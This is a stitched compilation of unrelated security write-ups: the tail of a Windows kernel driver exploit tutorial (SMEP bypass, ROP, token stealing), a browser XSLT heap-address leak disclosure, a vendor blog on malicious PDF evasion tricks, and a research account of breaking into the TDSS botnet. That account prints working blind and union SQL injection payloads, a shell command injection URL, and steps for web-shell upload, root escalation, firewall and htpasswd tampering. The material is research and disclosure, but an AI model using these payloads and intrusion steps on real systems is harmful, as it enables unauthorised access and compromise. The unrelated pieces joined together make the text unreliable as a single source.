exploiting\) and exploitable call.

In our case, `rdi` and `rsi` registers are the offending ones. Unluckily for
us, in `x64`, parameters are passed in registers and those two registers get
populated in `HEVD!TriggerStackOverflow`.

[code]

    fffff800`185756f4 lea     r11,[rsp+820h]
    fffff800`185756fc mov     rbx,qword ptr [r11+10h]
    fffff800`18575700 mov     rsi,qword ptr [r11+18h]       // Points to our first gadget
    fffff800`18575704 mov     rsp,r11
    fffff800`18575707 pop     rdi                           // Points to our corrupted buffer ("AAAAAAAA")
    fffff800`18575708 ret
    
[/code]

Now those two registers are both set to zero if you submit an input buffer
that doesn’t result in a RET overwrite \(you can check this by sending a small
buffer and checking the registers contents before you return from
`TriggerStackOverflow`\). This is no longer the case when you mess up the
stack.

Now sometime after hitting `nt!IofCallDriver+0x59`

[code]

    kd> u @rip
    nt!ObfDereferenceObject+0x5:
    fffff800`152381c5 mov     qword ptr [rsp+10h],rsi
    fffff800`152381ca push    rdi
    fffff800`152381cb sub     rsp,30h
    fffff800`152381cf cmp     dword ptr [nt!ObpTraceFlags (fffff800`15604004)],0
    fffff800`152381d6 mov     rsi,rcx
    fffff800`152381d9 jne     nt!ObfDereferenceObject+0x160d16 (fffff800`15398ed6)
    fffff800`152381df or      rbx,0FFFFFFFFFFFFFFFFh
    fffff800`152381e3 lock xadd qword ptr [rsi-30h],rbx
    kd> ? @rsi
    Evaluate expression: -8795734228891 = fffff800`1562c065         // Address of mov cr4,rcx instead of 0
    kd> ? @rdi
    Evaluate expression: 4702111234474983745 = 41414141`41414141    // Some offset from our buffer instead of 0
    
[/code]

Now that those registers are corrupted, we can just reset their expected value
\(zeroeing them out\) sometime before this code is ever hit. A perfect place
for this is after we execute our token stealing payload.

[code]

    xor rsi, rsi
    xor rdi, rdi
    
[/code]

Last step would be adjusting the stack properly to point to
`nt!IofCallDriver+0x59`’s stack frame by adding `0x40` to `rsp`.

Full exploit code can be found here.

### 4\. Mitigation the vulnerability

Although this is a vanilla stack smashing vulnerability, it still happens all
the time. Key ways to mitigate/avoid this vulnerability is:

  1. Sanitize the input, don’t trust the user data \(or its size\). Use upper/lower bounds.
  2. Use /GS to utilize stack cookies.

Or even better, don’t write a kernel driver unless you need to ;\)

### 5\. Recap

  * Bypassing SMEP might be intimidating at first, but a small ROP chain was able to make it a piece of cake.
  * Restoring execution flow was challenging due to access violations. Every stack frame had its own challenges.
  * Keeping an eye on registers is crucial. Note which registers get affected by your exploit and try to repair them if possible.
  * Offsets change quite often, there’s a good chance this exploit will break with the next update.

### 5\. References

  * SMEP: What is it, and how to beat it on Windows
  * Bypassing Intel SMEP on Windows 8 x64 Using Return-oriented Programming

Whew, done.

* * *
\- Abatchy

  * __ __
  * __ __
  * __ __
  * __ __

  * 0 comments
  * **abatchy17.github.io**
  * Login
  * 1

  *  Recommend
  * ⤤ Share
  * Sort by Best

<img src='img/13126_noavatar92.7b2fde640943965cc88df0cdee365907.png'
width='48' height='48' alt='Avatar' />

Start the discussion…

  

  * Attach

###### Log in with

  *   *   *   * 

######  or sign up with Disqus

?

### Disqus is a discussion network

  * Disqus never moderates or censors. The rules on this community are its own.
  * Don't be a jerk or do anything illegal. Everything is easier that way.

Read full terms and conditions

Be the first to comment.

  * Powered by Disqus
  *  _✉_ Subscribe _✔_
  *  _d_ Add Disqus to your site
  *  _🔒_ Privacy

<img src='' width='0' height='0' /><img src='' width='0' height='0' /><img
src='' width='0' height='0' /><img src='' width='0' height='0' />

<img src='' width='0' height='0' />

  

# Security: Multi-browser heap address leak in XSLT

**Created:**| _3/17/2011 2:40:13 PM_  
---|---  
**Updated:**| _3/17/2011 2:40:13 PM_  
**Author:**| __  
**Tags:**| _Exploit xml bughunting browser_  
  

### Multi-browser heap address leak in XSLT

It's not often that I find a bug that affects multiple different codebases in
the same way, but here is an interesting info-leak bug that is currently
unpatched in Firefox, Internet Explorer and Safari.  
  
I'm releasing it now for a few reasons:  

  1. The bug was already publicly noted here.  

  2. This bug cannot damage anyone in and of itself; it's a low severity info-leak that does not corrupt anything. It needs to be paired with other bugs, perhaps as an exploit aid against ASLR.  

  3. This is a rare and unique opportunity to directly compare vendor responses and response times for a near-identical bug. It's nice that this is a lower-severity issue as all vendors tend to treat critical issues with at least some urgency; lower severity issues serve as a better differentiator.

  
**The bug**  
The bug is in the generate-id\(\) XPath function, and is sometimes used in XSL
transforms. Here's an web page that simply calls generate-id\(\) and renders
the result as a web page:  
  
https://cevans-app.appspot.com/static/genid.xml  
  
Let's see how this renders in different browsers:  
  
**Firefox** \(64-bit Linux\)  
`id0x00007fbac51c1000`  
  
There is no "obfuscation" that this is a raw heap address. Since Firefox is
open source, we can go and look at the source code to find that indeed, the
string is generated from a pointer \(txXPathNodeUtils::getXSLTId\):  

[code]

    const char gPrintfFmt[] = "id0x%016p";
    
[/code]

  
**Internet Explorer 8** \(Windows 7\)  
`IDAW0MLB`  
  
Doesn't look like a heap address, does it? If, however, you strip off the "ID"
prefix and treat the string as a \[A-Z0-5\] base32 encoded "little endian"
string, you resolve to a nice heap address. At that address is a pointer in
msxml.dll, possibly the address of a vtable for some internal xml node class.  
  
**Safari 5** \(Mac OS X\)  
`id35865226`  
  
Also does not immediately look like a heap address, but libxslt is doing a
simple transform on a heap address:  

[code]

      
        val = (unsigned long)((char *)cur - (char *)0);  
        val /= sizeof(xmlNode);  
        sprintf((char *)str, "id%ld", val);  
    
[/code]

  
**Opera**  
`o14022440`  
`o2148150600`  
These object ids bounce around all over the place. I don't know what is going
on so I'm not making the claim that Opera is affected.  
  
**Chrome**  
Latest stable Chrome \(Chrome 10\) is not affected. It has been removed from
the "time to fix" competition in order to keep things fair.  
  
  
It's on\!\! Who will fix it first and who will be the security laggard?
Updates to be provided via Twitter: @scarybeasts

# BH2014-Billy-Rios.pdf

**Created:**| _8/24/2014 8:33:04 PM_  
---|---  
**Updated:**| _8/24/2014 8:33:04 PM_  
**Author:**| __  
**Tags:**| _physical security critical infrastructure_  
  
<img src='img/BH2014-Billy-Rios.pdf' />

# Malicious PDF Analysis Evasion Techniques | Security Intelligence Blog | Trend Micro
**Created:**| _11/6/2013 3:35:08 PM_  
---|---  
**Updated:**| _11/6/2013 3:35:08 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

# **M** alicious PDF Analysis Evasion Techniques****

In many exploit kits, malicious PDF files are some of the most common threats
used to try to infect users with various malicious files**.** Naturally,
security vendors invest in efforts to detect these files properly – and their
creators invest in efforts to evade those vendors**.**

Using feedback provided by the Smart Protection Network , we examined several
commonly used techniques by PDF exploits today**.** These techniques are
described in this blog post**.** Knowledge about the techniques is used to
improve Trend Micro’s ability to detect these exploits**.**

**_Common JavaScript Evasion Techniques_**

Most PDF exploits use some form of embedded JavaScript**.** Because of this,
common JavaScript evasion and obfuscation techniques work here as well**.**
For example, string replacements, try-catch exceptions, _fromCharCode_ loops
all work in PDF files as well**.**

The following code snippet shows some of these techniques in use:

<img src='img/Temp2_5076.jpg' alt='PDF-evasion-1' />

_Figure 1**.** Common JavaScript evasion/obfuscation techniques in use_

This particular exploit targets CVE-2010-0188 **.**

_**Encoded Content And Function Name in INFO Object**_

This type of obfuscation saves encrypted code into parts of the INFO object
\(such as, title, subject, producer, etc**.**\) JavaScript could be used to
extract and decode this encrypted malicious code**.**

In this sample, the Title/Creator fields in the INFO object are very
strange**.** The creator field is a very long alphanumeric string broken by
numerous exclamation points**.**

<img src='img/Temp2_5078.jpg' alt='PDF-evasion-2' />

_Figure 2**.** Encoded code in INFO object_

Like the previous exploit, this also targets CVE-2010-0188**.**

**_Targeting the JavaScript Runtime_**

This particular type of evasion is meant to hide from analysis tools**.**
Running JavaScript in PDF files needs a particular runtime library**.** This
library is part of _Adobe Reader,_ but most analysis tools do not contain
it**.** When the malware finds that some functions are not defined or behaves
incorrectly, the malicious code is not decrypted**.**

Functions that can be used for this include checking the file size of the file
and checking the application’s version**.**

In the example below, _app.endPriv_ would be checked, and if it’s not defined
correctly no malicious code ends up being run**.**

<img src='img/Temp2_5080.jpg' alt='PDF-evasion-3' />

_Figure 3**.** Checking for specific function_

**_Field Attribute and Scope Functions_**

Some malware use field attributes in XML Forms Architecture \(XFA\) to do
condition checks**.** Like the above case, these scope functions are not
“implemented” correctly by analysis tools**.** If certain objects and
functions cannot be found \(in this case, the _ImageFiled1_ object and the
_ZZA_ function\), again, the malicious code will not be run**.**

In other cases, attributes such as, width and height may instead be used**.**

<img src='img/Temp2_5077.jpg' alt='PDF-evasion-4' />

_Figure 4**.** Field attribute and scope function_

_**Namespace Control**_

This year, we saw a new vulnerability \(CVE-2013-2729 \) which was paired with
new evasion techniques**.**

We saw JavaScript code that worked in different namespaces \(controlled by the
_name_ attribute\)**.** Analysis tools sometimes have difficulty with
this**.** In this particular snippet, we see that there are two different
objects – _util_ and _spray_ , andb how functions and variables are used in
these two namespaces**.**

<img src='img/Temp2_5075.jpg' alt='PDF-evasion-5' />

<img src='img/Temp2_5079.jpg' alt='PDF-evasion-6' />

<img src='img/Temp2_5081.jpg' alt='PDF-evasion-7' />

_Figures 5-7**.** Namespaces and variables used_

_**Variables Scope Changed in eval Function**_

This type of evasion method is based on certain specifics of the PDF
JavaScript engine**.** Consider the following code snippet:

> \(function\(\)\{var v=”inner”; e=eval; e\(“alert\(v\)”\); \}\)\(\);
The above code functions correctly in Adobe Reader; the “inner” code is
executed**.** With other JavaScript engines, this may not work and and an
error will be returned instead**.** This could prevent analysis of the
malicious code.

_**Summary**_

We believe that among these evasion methods, two - checking the Javascript
runtime and changing the scope of variables – will be used more widely in the
future**.** These represent the latest attempts at evading detections by
cybercriminals**.**

Trend Micro’s existing web reputation service detects and blocks the websites
that use these techniques**.** The specific samples noted above are also
detected as: TROJ\_PIDIEF.ERP, TROJ\_PIDIEF.ERQ, TROJ\_PIDIEF.SMAL, and
TROJ\_PIDIEF.SMAP**.**

****

# TDSS botnet: full disclosure

**Created:**| _12/7/2012 1:28:52 PM_  
---|---  
**Updated:**| _12/7/2012 1:28:52 PM_  
**Author:**| __  
**Tags:**| _botnets Exploit Malware-analysis_  
  
  

# TDSS botnet: full disclosure

Andrey Rassokhin  
Researcher, Esage Lab  
andrey@esagelab.com

Dmitry Oleksyuk  
Senior researcher, Esage Lab  
dmitry@esagelab.com

  * Part 1. Breaking into the botnet

  * Breaking into the partner program
  * Breaking into C&C 
  * Database
  * Скрипты
  * Web shell injection
  * Elevation of privilege
  * Botnet administration panel
  * Changing of C&C servers

  * Part 2. Analysis

  * Database and scripts

#### The article is also available in Russian

  * Requests from bots to the server
  * Partners accounts
  * Main botnet table
  * Bot commands
  * Payload modules
  * Statistics

TDSS is a wide-spread rootkit which forms a powerful botnet. TDSS is studied
pretty well today. Howewer, no studies include anything beyond analysis of
binary code and common attack vectors. Main goal of this article is to fill
this gap in the IT security knowledge base by uncovering the TDSS botnet
mechanisms.

Also, we are humbly hoping to benefit to the existing computer crimes
investigation methodology. This research shows a generic way to locate the
“digital core” of a cyberband, having only their instrument \(a malicious
binary file\). Pease note that this method makes it possible to find all
technical info about an incident, while personal identification and
prosecution of intruders remains in law-enforcement authorities sphere.

The article consists of two parts. In the first part the process of breaking
into the botnet is covered step-by-step. The second part is dedicated to
analysis of the botnet’s inner details. Because we gained access to the C&C
database, objective statistics of the botnet is included at the end of the
article.

## Breaking into the botnet

Distribution of the TDSS malware is performed through “Dogma Millions” partner
program.

<img src='img/Temp2_7846.jpg' width='800' height='498' alt='Home page of
dogmamillions.com partner program' />

Home page of dogmamillions.com partner program

After registration in the program, a webmaster is encouraged to download the
TDSS binary file and to distribute it in any possible ways.

<img src='img/Temp2_7858.jpg' width='800' height='447' alt='Partner’s account
on dogmamillions.com website' />

Partner’s account on dogmamillions.com website

Most common way to distribute the binary file is to redirect users to landing
pages provided by the partner program. A user visiting such landing page will
be infected by the TDSS. A partnering webmaster is rewarded of each successful
installation of the rootkit.

User-friendly statistics is available to track infected PCs and earnings.
Moreover, a webmaster can create separate sub-accounts to analyze different
traffic campaigns effectiveness.

<img src='img/Temp2_7854.jpg' width='800' height='447' alt='Additional account
with the link to download of executable TDSS file' />

Additional account with the link to download of executable TDSS file

First, the partner program website was analyzed. This allowed us to get access
to the domamillions.com server’s database and dump webmaster statistics. After
this we switched to analyzing C&C servers. An SQL injection through the bot’s
configuration file allowed to read scripts on server. After some research we
succeeded to inject a web shell through one of the vulnerabilities, and
finally got root on C&C. Let’s go into details.

### Breaking into the partner program

MySQL v5 database was installed on dogmamillions.com server. Thus, all
requests to database as described below are performed in MySQL query language.

First of all, access to the database has been gaine: firstly by means of a
_Blind SQL injection_ attack and then by means of a _SQL injection_ attack.

As mentioned earlier, dogmamillions.com users can create subaccounts. They are
created by GET HTTP-request:

[code]

    http://dogmamillions.com/index.php?request=members.sab_account&create=1
[/code]

After performing this request a new subaccount with ID 1 is created in
partner’s account. It can be deleted by specifying its ID in corresponding
GET-request:

[code]

    http://dogmamillions.com/index.php?request=members.sab_account&delete=1
[/code]

Blind SQL Injection attack was performed as follows. It was necessary to
create subaccount with any ID and then to try to delete it. Parameter of
delete request was vulnerable, therefore it was possible to execute the attack
by sending following request to the server:

[code]

    http://dogmamillions.com/index.php?request=members.sab_account&delete=if(ord(substring((version()),1,1))>1,1,0xffff)
[/code]

If value of `ord(substring((version()),1,1))` is greater than 1, than `if`
condition returns 1, and request looks as follows \(simplified\):

[code]

    http://dogmamillions.com/index.php?request=members.sab_account&delete=1
[/code]

If condition is false, than request will look like:

[code]

    http://dogmamillions.com/index.php?request=members.sab_account&delete=0xffff
[/code]

So the subaccount will be deleted only if condition of `delete` parameter is
true. Blind SQL Injection attack can be executed using this information.

Another variant of the same attack is possible. `create` parameter of the
command for creation of subaccount is also vulnerable. Following request will
create a subaccount with ID equal to the value of first char of the
version\(\) command output:

[code]

    http://dogmamillions.com/index.php?request=members.sab_account&create=ord(substring((version()),1,1))
[/code]

Therefore, if server database version is greater than 5, than first symbol of
string returned by version\(\) command is “5”. ASCII-code of this symbol is
53, so a subaccount with ID 53 will be created in partner’s account.

[code]

    affiliates
    	affId
    	affAid
    	affLogin
    	affPassword
    	affGroup
    	affBalance
    	affBalanceEarnings
    	affBalancePayout
    	affBalanceRefferal
    	affBalanceCPV
    	affBalanceBonus
    	affBalancePenalty
    affiliatesaccounts
    	affId
    	affSid
    bonuses
    countries
    cpvearnings
    cronUpdateStatFeeds
    	cronId
    	cronCreated
    	cronStart
    	cronCompleted
    	cronDateFrom
    	cronDateTo
    	cronStatus
    crontime
    domains
    	id
    	domain
    	status
    	category
    groups
    invites
    managers
    news
    payments
    paymentsfields
    paymentsperiods
    paymentsproperties
    paymentstypes
    penalties
    statisticsearnings
    statisticsinstalls
    statisticsrefferals
    substatearnings
[/code]

Listing of tables from `dogmamillions.com`database

[code]

    1:Ro**:c94405aee9b728bad************b1f
    3:over****:5f4dcc3b5aa765d61************f99
[/code]

First subaccounts from `affiliates` table of
dogmamillions.com`dogmamillions.com` database

Exploitation of the described vulnerabilities allowed us to analyze server
database of dogmamillions.com.

### Breaking into C&C

As of the time of this analysis, C&C servers of TDSS botnet were located at
following domains and IPs \(fragment of rootkit’s configuration file\):

[code]

    [tdlcmd]
    servers=https://d45648675.cn/;https://d92378523.cn/;https://91.212.226.62/
    wspservers=http://b11335599.cn/;http://b00882244.cn/
    popupservers=http://m3131313.cn/
[/code]

Botnet is controlled by three servers specified in `servers` field of
configuration file. So these servers were scanned for vulnerabilities in the
first place.

Analysis of bot’s binary file showed that data is being sent to server with
the following algorithm:

  1. Create data packet;
  2. Encode it with RC4 algorithm, use IP or domain name of target server as a key;
  3. Encode it additionally with Base64 algorithm;
  4. Send data to server.

Pseudocode of encoding and decoding algorithms is as follows:

[code]

    сhar *encoded_data = base64_encode(rc4_encrypt(data, key));
    сhar *decoded_data = rc4_decrypt(base64_decode(data), key);
[/code]

In the data which is transmitted to the server by the Trojan, vulnerabilities
were found which could be used to execute Blind SQL injection and SQL
Injection attacks.

Particularly, after an incorrect GET request the server returned error message
with encoded string and full path to vulnerable server script inside.

<img src='img/Temp2_7850.jpg' width='800' height='99' alt='Error message for
incorrect server request' />

Error message for incorrect server request

The encoded string decodes to the following command:

[code]

    remover|42F831D92B3BE5076B635F2347C80A41|10000|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|%SYSDIR%\qo.dll|success
[/code]

Exact purpose of this command at the moment of attack was unclear. But we
could find that the third parameter in spike-divided list is vulnerable.

First version of exploit for reading data from database was developed using
delay method. Attack query is like follows:

[code]

    remover|42F831D92B3BE5076B635F2347C80A41|**if(ord(substring((version()),1,1)) >1,sleep(3),1)**|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|SYSDIR\qo.dll|success
[/code]

This exploit is based on the command which delays database response for 3
seconds if successful and makes no delay if failed. This is the standard
variant of Blind SQL injection delay attack, excepting a fact that we have
used `sleep()` instead of `benchmark()` since it makes no load on DBMS.

### Database

First of all we checked if current user has privileges to read and write
server data \(`File_priv`\). To find it out, we sent the following query to
the server:

[code]

    remover|42F831D92B3BE5076B635F2347C80A41|**if(ord(substring((SELECT File_priv FROM mysql.user WHERE (CONCAT_WS(CHAR(64),User,Host) LIKE USER())),1,1)) >1,sleep(3),1)**|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|SYSDIR\qo.dll|success
[/code]

<img src='img/Temp2_7845.jpg' width='677' height='124' alt='Result of exploit
for Blind SQL Injection with delay' />

Result of exploit for Blind SQL Injection with delay

The attack was successful, thus we had the ability to read and write files on
server. However, since reading files with the previous exploit would be very
slow, database query was reengineered as follows:

[code]

    remover|42F831D92B3BE5076B635F2347C80A41|**if(ord(substring((version()),1,1)) >1,1,(select 1 union select 2))**|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|SYSDIR\qo.dll|success
[/code]

If the condition is true, the new command returns error, and if the condition
is false, the command is completed successfully.

The described exploit allowed us to dump the server database and to read
script files.

<img src='img/Temp2_7844.jpg' width='676' height='450' alt='Работа эксплойта
без задержки' />

Results of exploit with no delay

### Scripts

Analysis of the file `index.php` and of scripts included in it showed a new
vulnerability, which finally allowed us to perform a classical SQL Injection
attack. Let’s analyze the code of `index.php` and `modules.php`:

[code]

    <?php
    try {
    
    ...   
    
        //$_SERVER["REQUEST_URI"]
        $request      = rc4Decrypt( $_SERVER["HTTP_HOST"], base64_decode( substr( $_SERVER["REQUEST_URI"], 1 ) ) ); 
        $requestCount = 0;
        $requestHost = $_SERVER["HTTP_HOST"];
    
        if( $request ) {
            $request      = explode( '|', $request );
            $requestCount = sizeof( $request );
        } else {
            header("HTTP/1.0 404 Not Found");
            exit();
        }
    
    ...
    
        } elseif( $request[0] == 'module' ) {
            DBase::connect( DBASE_HOST , DBASE_USER , DBASE_PWD , DBASE_BASE );
    
             
            include( 'modules.php' );
            
            DBase::disconnect();
        } 
    
    ...
    
        } else {
            var_dump($request);
            var_dump( base64_encode( rc4Encrypt($_SERVER["HTTP_HOST"], 'remover|42F831D92B3BE5076B635F2347C80A41|10000|0|DDA|Trojan.Agent|C:\WINDOWS\system32\qo.dll|%SYSDIR%\qo.dll|success') ) );
            header("HTTP/1.0 404 Not Found");
            exit();
        }
        
        
    
    
    } catch( Exception $e ) {
        print $e;
    }
[/code]

Part of `index.php` script \(omitted code is replaced by dots\)

[code]

    <?php
    require_once( DIR_LIBRARY_MODELS . DS . 'mModules.php' );
    
        if( preg_match( "%(\d*)!(.*)!%Uis", $request[1], $matches ) ) {
            $modId    = $matches[1];
            $modCrypt = $matches[2];
        } else {
            $modId    = **$request[1]** ;
            $modCrypt = FALSE;
        }
    
        $modDetails = mModules::details( $modId );
    
        if( $modCrypt ) {
            print rc4Encrypt( $modCrypt, $modDetails['modData'] );
        } else {
            print $modDetails['modData'];
        }
        
        mModules::increment( $modId );
[/code]

Vulnerable parameter in `modules.php` script

As you can see, the `$request[1]` value is not validated before usage, so
exploitation is possible as follows:

[code]

    module|-1 union select 0,1,count(*),3 from users
[/code]

Upon processing this command from a bot, the server will print an error
message containing a valid output from SQL command execution, i.e. the amount
of records in the `users` table.

<img src='img/Temp2_7851.jpg' width='800' height='111' alt='Testing SQL
Injection exploit and server’s response on request' />

Testing SQL Injection exploit and server’s response on request

The new exploit made it possible to read files and the database 10 times
faster than the previous one.

Our next goal was to inject a shell script into the website, which could allow
us to execute commands on server without any exploitation.

### Web shell injection

At that point we could easily upload a shell script onto the server through
one of the script bugs described earlier. But we could not `ge acces` to the
uploaded script, because all web requests to the server were redirected to
`index.php`. So we had to find the HTTP server configuration file, and modify
it in order to bypass the limitation.

First, we queried different possible paths to the configuration file via the
SQL Injection vulnerability. To automate this process, an open-source program
‘wfuzz’ was utilized. We had to modify the program so that it encoded data
prior sending it to the server. Thus the necessary configuration file was
located at `/etc/lighttpd/lighttpd.conf`.

<img src='img/Temp2_7836.jpg' width='553' height='537' alt='Content of
lighttpd.conf' />

Content of `lighttpd.conf`

From the configuration file we learned that the redirection was caused by
`mod_rewrite` module. The script include-vhost-enabled.pl included
configuration files for individual virtual servers. Howewer, names of those
configuration files were obtained by enumeration of files in a given
directory. Therefore, path to the file which was necessary to solve the
redirection problem was still unknown.

To find the necessary file, we tested a large list of domain names and IPs
inside the TDSS botnet:

[code]

    /etc/lighttpd/sites-enabled/212.117.162.50.conf
    /etc/lighttpd/sites-enabled/212.117.162.1.conf
    /etc/lighttpd/sites-enabled/91.212.226.59.conf
    /etc/lighttpd/sites-enabled/91.212.226.60.conf
    /etc/lighttpd/sites-enabled/91.212.226.61.conf
    /etc/lighttpd/sites-enabled/91.212.226.62.conf
    /etc/lighttpd/sites-enabled/91.212.226.63.conf
    /etc/lighttpd/sites-enabled/91.212.226.64.conf
    /etc/lighttpd/sites-enabled/91.212.226.65.conf
    /etc/lighttpd/sites-enabled/91.212.226.66.conf
    /etc/lighttpd/sites-enabled/91.212.226.67.conf
    /etc/lighttpd/sites-enabled/195.24.72.6.conf
    /etc/lighttpd/sites-enabled/83.243.8.6.conf
    /etc/lighttpd/sites-enabled/server.lu.conf
    /etc/lighttpd/sites-enabled/www.server.lu.conf
[/code]

Part of the list of possible configuration file paths

However, only a heuristic manual search lead to success. The necessary
configuration file was finally located at `/etc/lighttpd/sites-
enabled/engine.conf`.

[code]

    $SERVER["socket"] == "91.212.226.63:80" {
            $HTTP["host"] =~ "(.*)?" {
    	server.document-root = "/var/www/dm_builder/php/"
    #                url.redirect = ( "^/phpmyadmin/(.*)" => "https://213.133.110.18/phpmyadmin/$1" )
                    **url.rewrite-once = ( "^/087dggl094aa/\?aid=(.*)&sid=(.*)$" => "/MakeBuild.php?aid=$1&sid=$2" )**
    		accesslog.filename = "/var/log/lighttpd/build.log"
            }
            server.document-root = "/var/www/dm_builder/php/"
    }
    
    $SERVER["socket"] == "212.117.162.50:80" {
            $HTTP["host"] =~ "(.*)?" {
            server.document-root = "/var/www/dm_builder/php/"
    #                url.redirect = ( "^/phpmyadmin/(.*)" => "https://213.133.110.18/phpmyadmin/$1" )
                    url.rewrite-once = ( "^/087dggl094aa/\?aid=(.*)&sid=(.*)$" => "/MakeBuild.php?aid=$1&sid=$2" )
                    accesslog.filename = "/var/log/lighttpd/build.log"
            }
            server.document-root = "/var/www/dm_builder/php/"
    }
    
    $SERVER["socket"] == "91.212.226.60:443" {
            ssl.engine = "enable"
            ssl.pemfile = "/etc/lighttpd/ssl/chief.pem"
            server.document-root = "/var/www/engine/public"
            server.errorlog = "/var/log/lighttpd/engine_error.log"
            accesslog.filename = "/var/log/lighttpd/engine_access.log"
            **url.rewrite-once = ( "^/(.*)$" => "/index.php?request=$1" )**
    }
[/code]

Part of `engine.conf`

The file engine.conf contained settings for six servers. Only two of them were
configured to redirect HTTP requests to `index.php`. The other servers were
configured to redirect HTTPS requests to `MakeBuild.php`.

`MakeBuild.php` script was designed to compile and configure the TDSS rootkit
binary. The script receives a number of arguments, one of them supplying debug
information for the binary.

[code]

    <?
    if (!isset($_GET['aid'])) exit();
    $AID=$_GET['aid'];
    $SID=$_GET['sid'];
    if (empty($SID)) $SID=0;
    
    $DBG=$_GET['dbg'];
    $ENC=$_GET['enc'];
    
    /*if ($AID == 20034 || $AID == 20124)
    {
    	$url = "http://213.133.110.18/03kd7nml094hx09/?aid={$AID}&sid={$SID}";
    	if ($ENC) $url .= "&enc={$ENC}";
    	if ($DBG) $url .= "&dbg={$DBG}";
    	header("HTTP/1.1 302 Found");
    	header("Location: {$url}");
    	exit();
    }*/
    
    $BuildPath="./builds/{$AID}-{$SID}.exe";
    $ExitStatus=null;
    
    **if(!chdir('/var/www/builder/')) exit();//exit('Error: Can\'t ChDir'); exec( "/usr/bin/wine builder.exe {$AID} {$SID}",$OutPut,$ExitStatus); if ($DBG) { unlink($BuildPath); echo "<html><pre>\n+------------------------------+\n"; print_r($OutPut); echo "\n=------------------------------=\n"; exit('Builder exit status: '.$ExitStatus); }**
[/code]

Part of `MakeBuild.php` script

As you can see from listing, script arguments are not validated before passing
them to the `exec()` function, so a remote command execution may take place
there. Moreover, the `dbg` parameter allows to print the executed command
output.

The following request will to print a listing of all files in current
directory:

[code]

    http://91.212.226.63/087dggl094aa/MakeBuild.php?aid=;ls;&dbg=1
[/code]

We utilized this vulnerability to upload a web shell onto the server.

### Elevation of privilege

We succeeded to gain root privileges on server by exploiting a known
`sock_sendpage()` vulnerability. The existing exploit required to be modified
to allow execution in x64 environment.

<img src='img/Temp2_7835.jpg' width='800' height='353' alt='/root directory at
TDSS command server' />

`/root` directory at TDSS command server

### Botnet administration panel

In the same directory with the `engine.conf` file another configuration file
was found, which contained settings for the botnet control panel.

[code]

    $SERVER["socket"] == "91.212.226.59:443" {
            ssl.engine = "enable"
            ssl.pemfile = "/etc/lighttpd/ssl/chief.pem"
    #        $HTTP["host"] =~ "^engineadmin\.com$" {
                    server.document-root = "/var/www/engine/tools/public"
                    server.errorlog = "/var/log/lighttpd/admin.engine_error.log"
                    accesslog.filename = "/var/log/lighttpd/admin.engine_access.log"
    
                    url.rewrite-once = ( "^/([0-9a-zA-Z/]+)/?\??(.*=.*)?$" => "/index.php?request=$1&$2" )
    
                    $HTTP["url"] =~ "^/" {
                            auth.backend = "htpasswd"
                            auth.backend.htpasswd.userfile = "/etc/lighttpd/htpasswd.engine"
                            auth.require = (
                                    "/" => (
                                            "method" => "basic",
                                            "realm" => "Use your credit card number as username, cvv2 as password. Thank you ;)",
                                            "require" => "valid-user"
                                    )
                            )
                    }
    
    #        }
    }
[/code]

Contents of `engine_admin.conf` file

As you can see from the file, IP address of the administration panel was
91.212.226.59. At first we failed to open it in browser, since our IP address
was not whitelisted to access the panel. So we had to fix the whitelist by
modification of firewall rules in the `/root/ipt.rules` file.

[code]

    -A INPUT -i lo -j ACCEPT 
    -A INPUT -s 66.148.74.126/32 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT 
    -A INPUT -s 188.40.72.68/32 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT
    -A INPUT -s 188.40.72.125/32 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT
    -A INPUT -s 204.12.213.144/29 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT
    -A INPUT -s 91.212.226.49/32 -p tcp -m tcp -m multiport --dports 22,443,80,873,3306 -j ACCEPT
    -A INPUT -d 212.117.162.50/32 -p tcp -m tcp -m multiport --dports 443,80 -j REJECT --reject-with icmp-port-unreachable 
    -A INPUT -d 91.212.226.59/32 -p tcp -m tcp -m multiport --dports 443,80 -j REJECT --reject-with icmp-port-unreachable
    -A INPUT -i eth0 -p tcp -m tcp -m multiport --dports 3306 -j REJECT --reject-with icmp-port-unreachable 
    -A INPUT -s 195.138.81.135/32 -p tcp -m tcp --dport 22 -j ACCEPT 
    -A INPUT -i eth0 -p tcp -m tcp --dport 873 -j REJECT --reject-with icmp-port-unreachable 
    -A INPUT -i eth0 -p tcp -m tcp --dport 22 -j REJECT --reject-with icmp-port-unreachable 
    COMMIT
[/code]

Original content of `ipt.rules` file

After breaking the initial IP authorization check, we found another obstacle
to accessing the panel: Basic Authorization. To pass Basic Auth, we added a
new login to the htpasswd.engine file. Upon getting access to the server, it
was also possible to read plaintext password from database.

<img src='img/Temp2_7838.jpg' width='800' height='317' alt='Authorization
request at admin panel logon' />

Authorization request at admin panel logon

The control panel has a user-friendly interface, allowing to view detailed
botnet statistics, such as: total amount of rootkit installations per day,
each bot’s nationality, operating system version and browser version. Also,
through the panel it is possible to browse additional loadable modules for the
rootkit, and to view commands being currently executed by bots.

<img src='img/Temp2_7842.jpg' width='800' height='370' alt='Statistics of
infections by days' />

Statistics of infections by days

<img src='img/Temp2_7839.jpg' width='687' height='404' alt='Statistics by OS'
/>

Statistics by OS

<img src='img/Temp2_7833.jpg' width='800' height='237' alt='Launched commands'
/>

Launched commands

<img src='img/Temp2_7849.jpg' width='800' height='700' alt='Statistics by
countries' />

Statistics by countries

<img src='img/Temp2_7853.jpg' width='800' height='357' alt='TDSS modules' />

TDSS modules

### Changing of C&C servers

While we were playing around with the control panel, a new version of the
rootkit \(3.64\) started to spread, which communicated with completely
different C&C servers

[code]

    [tdlcmd]
    servers=https://a57990057.cn/;https://a58990058.cn/;https://94.228.209.145/
    wspservers=http://c36996639.cn/;http://c58446658.cn/
    popupservers=http://m2121212.cn/
[/code]

Control scripts were changed on the new server. Particularly, the
vulnerability which allowed to display command output in the server error
message was fixed. But the other vulnerabilities that we found were still
there, so it was possible to read the `index.php` file. According to its code,
all the exceptions were now written into log file. Server settings were
changed too. Among other things, a frontend was installed \(nginx\) in
addition to the `lighttpd` HTTP server. The `engine.conf` file was unchanged.

